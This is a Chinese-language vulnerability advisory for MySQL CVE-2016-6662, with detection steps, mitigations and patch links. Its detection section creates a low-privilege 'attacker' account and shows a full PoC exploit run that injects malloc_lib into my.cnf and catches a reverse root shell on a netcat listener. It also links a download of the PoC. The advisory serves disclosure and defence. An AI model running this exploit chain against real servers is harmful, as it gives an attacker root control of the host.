MySQL远程代码执行(CVE-2016-6662)漏洞预警

来源:互联网 发布:淘宝机械键盘 编辑:程序博客网 时间:2024/05/29 13:22

一、漏洞基本信息

CVE编号:CVE-2016-6662
漏洞名称:MySQL远程代码执行
漏洞发布日期:2016.09.12
受影响的软件及系统:MySQL <= 5.7.15,5.6.33,5.5.52,Mysql分支的版本(MariaDB、PerconaDB)也受影响
漏洞概述:这个漏洞影响(5.7, 5.6, 和 5.5版本)的所有Mysql默认配置,包括最新的版本,攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库(通过网络连接或者像phpMyAdmin的web接口),以及通过SQL注入利用。攻击者成功利用该漏洞可以以ROOT权限执行代码,完全控制服务器。

二、漏洞原理分析

   利用条件:首先你要有一个Mysql低权限用户,仅需有FIle权限(例如:虚拟主机通常会提供,因为需要导入导出文件),即可实现Root权限提升,进而控制服务器。
利用过程:
0、查看MySQL版本信息
lsb_release -a
dpkg -l | grep -i mysql-server # 在debian等系列  
rpm -qa | grep -i mysql-server  # 在redhat、centos、ubuntu等系列
1、启动Mysql服务器
service mysql start
2、查看mysql的进程信息
ps -ef | grep mysql
#备注信息:我们可以看到mysqld_safe的wrapper(封装)脚本是root权限执行的,而主要的mysqld进程确实mysql用户权限执行的。
3、分析/usr/bin/mysqld_safe
  通过手册我们可以得知--malloc-lib=LIB 选项可以加载一个so文件,如果攻击者可以注入路径信息到配置文件,就可以在MYSQL服务重启的时候,执行任意代码。
  从2003开始,默认通过SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'是不能覆写文件的,但是我们可以利用mysql logging(MySQL )功能绕过outfile/dumpfile重写文件的保护,攻击者需要 SELECT/FILE 权限 。
4、执行代码:
http://bobao.360.cn/learning/detail/3025.html
#该报道中详细说明如何进行测试。

三、漏洞检测方法

1、手动直接检测1:

lsb_release -a
dpkg -l | grep -i mysql-server # 在debian等系列  
rpm -qa | grep -i mysql-server  # 在redhat、centos、ubuntu等系列
# 根据版本的大小进行匹配。

2、 手动直接检测1:

1. 建立一个测试数据库账号或者权限:
CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';  

2. 对于可得到的mysql 配置文件进行模拟写权限:
[isamchk]
key_buffer = 16M
例如在debian上: /etc/mysql/my.cnf 
# chown mysql:mysql /etc/mysql/my.cnf
# ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf
3. 以攻击者身份执行EXP并且重启mysql服务:
./0ldSQL_MySQL_RCE_exploit.py

3、手动测试检测3:

1. 在POC中添加mysql_hookandroot_lib.c 的路径
hookandrootlib_path = './mysql_hookandroot_lib.so'
2. 执行0ldSQL_MySQL_RCE_exploit.py脚本
$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
[+] Connecting to target server 192.168.1.10 and target mysql account 'attacker@192.168.1.10' using DB 'pocdb'
[+] The account in use has the following grants/perms: 
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'
[+] Compiling mysql_hookandroot_lib.so
[+] Converting mysql_hookandroot_lib.so into HEX
[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG
[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target
[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded
[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf
[+] Showing the contents of /etc/mysql/my.cnf config to verify that our setting (malloc_lib) got injected
[mysql]
#no-auto-rehash # faster start of mysql but no tab completition
[isamchk]
key_buffer = 16M
!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160912  8:48:41   44 Queryselect "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void
  44 Query SET global general_log = off
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)
[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)
listening on [any] 6033 ...
connect to [192.168.1.20] from dbserver [192.168.1.10] 36932
bash: cannot set terminal process group (963): Inappropriate ioctl for device
bash: no job control in this shell
root@debian:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@debian:/# ls -l /root/root_via_mysql
---------- 1 root root 0 Sep 10 22:50 /root/root_via_mysql
root@debian:/# exit      
exit
exit
[+] Shell closed. Hope you had fun. 
[+] Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)
[+] Exiting (code: 0)
#POC地址:链接:http://pan.baidu.com/s/1gfhr30J 密码:bhoh

4 直接检测:

Web指纹处检索“phpmyadmin”

“端口与服务”检索服务“mysql”,检查互联网侧是否打开了mysql服务

四、漏洞修复方案

临时修复建议:关闭mysql用户file权限;同时建议检测暴露在互联网侧的MySQL端口与phpmyadmin并进行网络层面访问控制;

目前MariaDBPerconaDB发布补丁修复漏洞,建议用户进行升级;Mysql需要等待Oracle方面更新,具体时间是1018日。方便升级的用户尽快升级MySQL版本,升级后的MySQL将限制ld_preload仅仅能够从/usr/lib64,/usr/lib这种系统目录和MySQL安装目录载入 补丁下载地址

使用MySQL5.5版本的用户:
https://www.percona.com/downloads/Percona-Server-5.5/


使用MySQL 5.6版本的用户:
https://www.percona.com/downloads/Percona-Server-5.6/Percona-Server-5.6.32-78.0/

使用MySQL5.7版本的用户:
https://www.percona.com/downloads/Percona-Server-5.7/Percona-Server-5.7.14-7/
不方便升级的用户可以通过配置数据库用户权限和配置文件权限2方面修补:
数据库用户权限
   不要给远程用户SUPER或者FILE权限,然而 CVE-2016-6663 提及到即使没有FILE权限,也可以利用(根据MySQL发行日志怀疑是和REPAIR TABLE使用临时文件有关)

配置文件权限:
    新建一个空的my.cnf和.my.cnf文件在datadir目录(通常是/var/lib/mysql目录,owner/group为root,权限为0600)
其他的位置/etc/my.cnf /etc/mysql/my.cnf /usr/etc/my.cnf ~/.my.cnf (可以通过mysqld --help --version来查看mysqld的版本信息)
确保配置文件中的!includedir定义中的目录mysql用户不可写
通过权限配置mysql用户不能够写配置文件

五、漏洞修复结果验证

按照【三、漏洞检测方法】的方法进行测试。

六、参考资料

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
http://www.freebuf.com/vuls/114408.html
http://bobao.360.cn/learning/detail/3025.html



欢迎大家分享更好的思路,热切期待^^_^^ !

0 0